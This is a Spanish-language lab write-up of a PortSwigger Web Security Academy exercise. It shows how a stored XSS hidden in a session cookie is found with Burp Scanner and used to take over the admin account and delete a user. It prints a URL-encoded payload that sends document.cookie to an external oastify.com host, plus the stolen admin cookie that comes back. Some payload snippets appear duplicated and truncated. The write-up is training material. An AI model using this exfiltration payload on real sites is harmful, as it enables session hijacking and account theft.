> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/essential-skills/analyzing-non-standard-data-structures.md). # Análisis de estructuras de datos no estándar Notas sobre Análisis de estructuras de datos no estándar para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación. ### Escaneo de estructuras de datos no estándar **Contexto del laboratorio** Este laboratorio contiene una vulnerabilidad que es difícil de identificar manualmente porque se encuentra en una **estructura de datos no estándar**. / El objetivo es usar **Burp Scanner**, en particular la **Escanear punto de inserción seleccionado** funcionalidad, para detectar la vulnerabilidad, y luego explotarla manualmente para **eliminar al usuario `carlos`**. Identificador proporcionado: * **Usuario**: wiener * **Contraseña**: peter **Paso 1 – Autenticación** Conéctese a la aplicación mediante la página de inicio de sesión con las credenciales proporcionadas.
**Paso 2 – Escaneo dirigido en un punto de inserción** En lugar de ejecutar un escaneo global, se realiza un escaneo muy dirigido: * Se intercepta una solicitud autenticada. * Solo el **valor de la cookie de sesión** se selecciona.
* Lanzamos **Burp Scanner → Escanear punto de inserción seleccionado** en este elemento específico. Este escaneo minimalista permite analizar un área rara vez probada manualmente: la estructura interna de la cookie.
**Paso 3 – Detección de vulnerabilidades** Burp Scanner identifica una vulnerabilidad del tipo: * **Cross-Site Scripting (XSS) almacenado** El payload detectado se inyecta directamente en la cookie de sesión.
Ejemplo de payload inicial detectado: {% code overflow="wrap" %} ```bash Cookie: session='">:7eQqV1q8zph4P71fADS843xTb5B9ev5V ``` {% endcode %} **Paso 4 – Exfiltración de la cookie mediante Burp Collaborator** Adaptamos el payload para extraer `document.cookie` el contenido a nuestro servidor Collaborator, codificado en Base64: {% code overflow="wrap" %} ```bash Cookie: session='">:7eQqV1q8zph4P71fADS843xTb5B9ev5V ``` {% endcode %} Luego nosotros **Codificar la URL** el payload antes de inyectarlo: ```bash '%22%3e%3csvg%2fonload%3dfetch(%60%2f%2fuqo5wxufqik239ij6afcc710crik6hu6%5c.oastify.com%2f%24%7bbtoa(document.cookie)%7d%60)%3e%3a7eQqV1q8zph4P71fADS843xTb5B9ev5V ```
**Paso 5 – Recuperación y decodificación de la cookie de administrador** El servidor Collaborator recibe una solicitud que contiene la cookie codificada en Base64: ```bash GET /c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY= ``` Tras decodificar, obtenemos: ```bash session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv ```
**Paso 6 – Acceso de administrador y operación final** Usando la cookie de sesión de administrador: * La interfaz **admin** es accesible. * Se accede a una página interna de **registros** está accesible. * Esta página mostraba cookies sin filtrar, lo que explica la persistencia del **XSS almacenado**. * Entonces es posible eliminar al usuario **carlos** y validar el laboratorio.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/web/essential-skills/analyzing-non-standard-data-structures.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.